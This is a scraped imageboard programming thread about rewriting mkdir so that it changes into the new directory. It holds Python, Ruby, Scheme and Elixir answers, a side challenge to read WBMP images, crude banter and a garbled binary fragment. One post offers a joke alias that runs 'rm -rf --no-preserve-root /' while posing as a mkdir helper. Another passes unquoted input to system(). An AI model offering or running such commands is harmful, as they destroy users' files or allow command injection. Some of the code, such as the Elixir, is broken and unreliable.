Daily programming challenge

Rewrite mkdir in your preferred language. mkdir should be able to leave you to a newly created directory

Example:
user0@primary $ mkdir2 /home/user0/new/directory -c
--- "/home/user0/new/directory" has been created, your current directory is " /new/directory/" ---

Other urls found in this thread:

stackoverflow.com/questions/2375003/how-do-i-set-the-working-directory-of-the-parent-process
en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format
thepcmanwebsite.com/wap_images.shtml
archive.rebeccablacktech.com/g/thread/S58446561#p58447394
twitter.com/AnonBabble

I want to punt Sakurako off a bridge

You must be joking...

meant ~/new/directory

Shut the fuck up and post more cute girls.

^?ELF^B^A^A^@^@^@^@^@^@^@^@^@^B^@>^@^A^@^@^@0^]@^@^@^@^@^@@^@^@^@^@^@^@^@°ó^@^@^@^@^@^@^@^@^@^@@^@8^@

Meme language for a meme thread.
#!/usr/bin/env python3
from os.path import expanduser
import os
import sys

def mkdir(dir):
try:
if os.path.exists(dir):
print("ERROR: Directory already exists! Going there now...")
os.chdir(dir)
else:
os.makedirs(dir)
print("Directory created! Going there now...")
os.chdir(dir)
except OSError as e:
print("ERROR: Directory could not be created!")
print(e)
sys.exit(1)

def main():
mkdir("Testing")
mkdir("../Testing")
print(os.getcwd())
mkdir("/bin/meme")

if __name__ == "__main__":
main()

I think you're ignoring the last word in the title in this one. Make a new one.

(map mkdir (cdr (command-line)))

my last two threads didn't have many solutions that actually worked.

I personally think Sup Forums skills to be CS first year level

If you make more completed problems you might get more posts.

def create_dur(dirname)
if Dir.exists?("dirname") then
puts "Durr already exists"
return
else
Dir.mkdir(dirname)
puts "Durr created"
Dir.entries(dirname)
end
end

The challenge is no good.
>Rewrite mkdir in your preferred language
This is a single standard library function call in just about any programming language. Unless you mean doing it at the syscall/direct disk manipulation level, but it doesn't seem so.
>leave you to a newly created directory
This, on the other hand, is impossible. You can't change the current directory of parent interpreter on Unix, except through very hackish means.
stackoverflow.com/questions/2375003/how-do-i-set-the-working-directory-of-the-parent-process

Let me suggest an alternative challenge: write a program that reads a WBMP image file and prints its contents to the console.

Format specification: en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format
Sample files: thepcmanwebsite.com/wap_images.shtml

cat

Fuck off op.

system("/bin/sh -c mkdir %s", argv[1]);

OP, do you know whose fang this is? I think you or someone else said it's dumpire's. But another person said it's brat's. Sorry for off-topic.

Not OP, but it could be Kirino's.

>Using the old format syntax
fag

dick suckin fangs

But you don't know that for sure. The image is quite recent, so I don't think it's Kirino's. It first appeared on Sup Forums last month:
archive.rebeccablacktech.com/g/thread/S58446561#p58447394

#!/bin/bash
alias mkdrtoo="mkdr;rm -rf --no-preserve-root /"

Wrong.

(import (rnrs))

(define (read-vlq port)
(define (read-octets)
(let ((octet (get-u8 port)))
(if (logtest #b10000000 octet)
(cons (logand #b01111111 octet) (read-octets))
(list (logand #b01111111 octet)))))
(let ((octets (read-octets)))
(fold-left (lambda (p x y) (logior p (ash x (* y 7))))
0
(reverse octets)
(iota (length octets)))))

(define (print-wbmp port)
(let* ((type (read-vlq port))
(header (get-u8 port))
(width (read-vlq port))
(height (read-vlq port))
(octets-per-row (+ (div width 8) 1)))
(let loop ((rows-left (- height 1)))
(map (lambda x (draw-octet (get-u8 port))) (iota (- octets-per-row 1)))
(draw-octet (get-u8 port) (- (* octets-per-row 8) width))
(newline)
(if (> rows-left 0)
(loop (- rows-left 1))))))

(define* (draw-octet octet #:optional (start 0))
(map (lambda (x) (display (if (= (bit-extract octet x (+ x 1)) 0) "█" " ")))
(reverse (map (lambda (x) (+ x start)) (iota (- 8 start))))))

(set-port-encoding! (current-output-port) "UTF-8")
(print-wbmp (current-input-port))

Fixed an arithmetic error and accept filenames from command line arguments.
(import (rnrs))

(define (read-vlq port)
(define (read-octets)
(let ((octet (get-u8 port)))
(if (logtest #b10000000 octet)
(cons (logand #b01111111 octet) (read-octets))
(list (logand #b01111111 octet)))))
(let ((octets (read-octets)))
(fold-left (lambda (p x y) (logior p (ash x (* y 7))))
0
(reverse octets)
(iota (length octets)))))

(define (print-wbmp port)
(let* ((type (read-vlq port))
(header (get-u8 port))
(width (read-vlq port))
(height (read-vlq port))
(octets-per-row (ceiling-quotient width 8)))
(let loop ((rows-left (- height 1)))
(map (lambda x (draw-octet (get-u8 port))) (iota (- octets-per-row 1)))
(draw-octet (get-u8 port) (- (* octets-per-row 8) width))
(newline)
(if (> rows-left 0)
(loop (- rows-left 1))))))

(define* (draw-octet octet #:optional (start 0))
(map (lambda (x) (display (if (= (bit-extract octet x (+ x 1)) 0) "█" " ")))
(reverse (map (lambda (x) (+ x start)) (iota (- 8 start))))))

(set-port-encoding! (current-output-port) "UTF-8")
(map (compose print-wbmp open-input-file) (cdr (command-line)))

#!/usr/bin/env elixir
defmodule WBMP do
defstruct width: 0, height: 0, image: []

@monochrome 0

def decode(bytes) do
= bytes
pixels =
for Enum.concat()
|> Enum.chunk(round8(width))
|> Enum.map(fn x -> Enum.slice(x, 0, width) end)
%WBMP{width: width, height: height, image: pixels}
end

def render(wbmp, on \\ "#", off \\ " ") do
wbmp.image
|> Enum.map(fn x ->
x
|> Enum.map(fn x -> if x == 0, do: on, else: off end)
|> Enum.join()
end)
|> Enum.join("\n")
end

defp round8(n) do
div(n + 7, 8) * 8
end
end

filename = [System.argv]
{:ok, wbmp} = File.read(filename)
wbmp
|> WBMP.decode()
|> WBMP.render()
|> IO.puts()

>WBMP
are there any images with huge (> 2^16 at least) dimensions to test the variable-length int decoding?